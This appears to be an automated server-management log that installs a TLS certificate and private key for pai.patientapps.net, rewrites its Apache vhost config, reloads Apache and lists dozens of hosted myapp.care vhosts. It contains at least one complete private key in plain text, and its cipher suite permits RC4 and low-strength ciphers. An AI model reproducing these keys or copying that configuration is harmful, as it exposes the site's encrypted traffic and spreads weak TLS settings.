HtETBl+3fqfo2gBCYdX3gY5xZHYM9N7rkT0poLGRAoGAEQXQ4OP4WyNNl9ZiIqI5
BsYDmvK3EKKPaGe3p4BpEUsYAyiLp3p1HB+A7PHys3MpfyCgnjeg0dZLGOCSwWXa
BFkps1RZhZE7rq36hUYUEz9zZ6g43qmRkW6hD+lWhH71QElvdBKhF1MTIM8bSNSS
3jefeoGPfM/At+PmdP308DI=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-08-30 06:03:20: Establishing a connection
2025-08-30 06:03:20: Establishing a connection
2025-08-30 06:03:20:
PUT: /tmp/pkp509604
#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
echo 1
else
echo 0
fi
2025-08-30 06:03:20:
chmod 755 /tmp/pkp509604; /tmp/pkp509604; rm /tmp/pkp509604
2025-08-30 06:03:20:
0
2025-08-30 06:03:46: Establishing a connection
2025-08-30 06:03:46:
PUT: /tmp/pkp655643
#!/bin/bash
temp_file=$(mktemp)
TARGET=3f85a328a3b4d0829fd0b0b311b3007b.crt
cat > $temp_file <<'endmsg'
ad:af:6c:98:ed:8a:90:12:40:10:21:3e:93:7b:0e:85
-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBnmLSnwqcdv8Uk3R2YRJPRJaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwODMwMDUwNTE2WhcNMjUxMTI4MDUwNTE1WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEArjYrI7t9ONXL8z0r1Zb999fGJE8GBXRmgYOf/WRdxj2atw3W1lkO6MDI
+pfZHHEvUT+aL8fUtCwJD81+8TYPU/spGUxscwNquJTBlIs0nL0ZNp9yltuKTslG
Erzdpe6AorQf8evWC963qFhkNTubk2Px+uz7+b8a7aS3bqYhlgpw4hgX/nxqEpet
ZASSfbZKfoSF0jOpoLKKXHjr7VqDQ6NykccbyFkqeeNbN6k27vOlfv576T+tG82c
WPkwl6PwbQZtGy2DJfNwuGzbtOn1qeWd7XcmIywabnGmOLKwKqaoK40NgDg5pTWk
5vIpwDL1qN329QgMpGB2DuACcCB7twIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTcqheIoghgvFSE8ZLa7NtsvdANGTAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy85MS5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdgDM+w9qhXEJZf6Vm1PO6bJ8IumFXA2XjbapflTA/kwNsAAAAZj5kyLHAAAE
AwBHMEUCIDhkRBG5eUQKZhlbp5URvbTA78VX1AP9VW/Us0mUp4I9AiEAqbyYSRBQ
iDwkmBzRTlZvxAk9V+d+Emr9eX55njtCfoMAdgAN4fIwK9MNwUBiEgnqVS78R3R8
sdfpMO8OQh60fk6qNAAAAZj5kyKuAAAEAwBHMEUCIQC9Y8yQ5QyCjbikwMLAixzD
Bieal9GIgp10jFOaE9Y80gIgVlc35GmaoaHGv/9QCAXXL2HOa/xJQDTWpqbBX+Y2
BYQwDQYJKoZIhvcNAQELBQADggEBABwOlw1rGRujflu5YNL94ri6Y+5iUedYnD7g
B2U5z6++4lPKSWqnexANtlTBwEnS/fyXvwipFMSaOwbAJpCZcJR8R1Rk+P3boQdL
SoQofG3R33cJESeAzIXILtV6H+/lBZRCZ9KRsYtHS1ZHk7nHlMzUTCj66GKVJSQb
2HZhiiI6tH4Klwteo+abIWIUbG/uQ+Cy0F5OCdHU43ddgpvI9VSM0qY2PKqG7ovG
Dj5megdZc+59bM4vviE6/+wk4JTnGFJ3PP5S4p289za2MX+exzI6uR/aM/pEKHXu
2s7nQQTp6z+1y+1iBJcjMU1NyL18ZipCoYYDAC7Tlu1ryu7WVLY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCuNisju3041cvz
PSvVlv3318YkTwYFdGaBg5/9ZF3GPZq3DdbWWQ7owMj6l9kccS9RP5ovx9S0LAkP
zX7xNg9T+ykZTGxzA2q4lMGUizScvRk2n3KW24pOyUYSvN2l7oCitB/x69YL3reo
WGQ1O5uTY/H67Pv5vxrtpLdupiGWCnDiGBf+fGoSl61kBJJ9tkp+hIXSM6mgsopc
eOvtWoNDo3KRxxvIWSp541s3qTbu86V+/nvpP60bzZxY+TCXo/BtBm0bLYMl83C4
bNu06fWp5Z3tdyYjLBpucaY4srAqpqgrjQ2AODmlNaTm8inAMvWo3fb1CAykYHYO
4AJwIHu3AgMBAAECggEAXHEyAwwCLp6EUtYq5HPy4AkHg0zLjSlvG1qVEwinGgKm
jmwxjBxF5QwnmZHqC0WkLiDp2GDZZaHYTSJmMejVyWKFNH9xLLarcra84e3cRS+y
qWGClLp6ccQsAtVlaB9e8vdR3DWgpzvPiO0ef4DZ1SQ7y0LlkmjuCRxWmcheGhcf
yBIJsFzvIdZk7rxIBvSbeJ9/ljbyXxNyaQsPGTVQajszSZJ9Xxk/a5agx7ON8S4f
C3GrICbaazpHK9ugWqxSnZB39jjPFav3h9z+id4xDOgBWN9Ef88OZ0LLtnzcv/MG
L4BkK7z2/5MITHWZxbUPjpW3b7hUVDyxumkwjmGdQQKBgQDfLShR6Eb49/hCzVIf
UeAa2zz91vaWFPm9zeJ57Xavb9QdoHwUbuAEyJhj7xl9foeXWnA/7gYD+Uu1mOuR
MNM7tESnNd4x62mh2ybmEuFHILfreNmDKHksXZEj66Va2QmUyS3syT8NYM0c5C1f
umicQd3iFQV8poDA0j/tDbFMAwKBgQDH1W5ge1XG283U6IwAx908M7e3pCY45blC
XX21wH2UlOMyR4axeXYYhjLn++l97Jf8hdauVarjt1mLEgJX65SZFn0u2XePT6hk
p8RK+YLrHLFzFQflTC2dC0YD+E2tcYjFoRnnUwbQxpoPSaFZhB7g00MsVSV0g8ju
mnn1hwx1PQKBgQDD5Wl86/xQUakzSfKJ1151dHfHAMeV2XeWKYBgMhZ5zBlOoC4J
6YDt8f4BykB/rW7rZdEd7JqPJmZUUpSD722a/JM+isQs4Uzpa+prDat8ubV3Fa8n
t4EVdlQOSavtYJFOboDHVabo4U1pzMgfPQrSDebrqjQUxDpEBsliFSDJbQKBgQDH
P47jknYvZkBwFkJqEN4NRb/b0kbuGlfCzTcnvrs4J8/09Q5e7K2MvFoLpsjj7sCI
X+ZzQyW2Eb2thZJimZk7nwnIabrlYNaVLhXxb6FSzfQ8u+54eaFNYc047h59XqOx
8fTDCqzUBAHeVlsTx0GGh/8FOAy1hSUWi14pKrOIPQKBgQDbYqJHY1ZgM2ZaE7aK
goGIZPSSbhtJug81UlwlpGkhG5CL67LP7EGoq1+kCfawJv4+mJBCqEp7hYAyJovC
7zGN2aYin82c2HBoE6aZgV+jB74Md+k0Z9vaWc+SuAEQm+JEvEqKI0CWJHwisbDe
VP0atVe4sr7b8O3LcITnhxR7tA==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-08-30 06:03:47:
chmod 755 /tmp/pkp655643; /tmp/pkp655643; rm /tmp/pkp655643
2025-08-30 06:03:47:
dir=/etc/ssl/certs
2025-08-30 06:03:47:
PUT: /tmp/pkp156560
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_pai_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-08-30 06:03:47:
chmod 755 /tmp/pkp156560; /tmp/pkp156560; rm /tmp/pkp156560
2025-08-30 06:03:47:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf 43
<VirtualHost *:80>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-08-30 06:03:47:
PUT: /tmp/pkp148464
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_pai_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_pai_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName pai.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/pai_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/pai_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_pai_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_pai_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_pai_net.conf= 1'
fi
2025-08-30 06:03:47:
chmod 755 /tmp/pkp148464; /tmp/pkp148464; rm /tmp/pkp148464
2025-08-30 06:03:47:
2025-08-30 06:03:47:
PUT: /tmp/pkp195112
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-08-30 06:03:47:
chmod 755 /tmp/pkp195112; /tmp/pkp195112; rm /tmp/pkp195112
2025-08-30 06:03:47:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-08-30 06:03:47: Establishing a connection
2025-08-30 06:03:47:
PUT: /tmp/pkp683521
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-08-30 06:03:47:
chmod 755 /tmp/pkp683521; /tmp/pkp683521; rm /tmp/pkp683521
2025-08-30 06:03:47:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
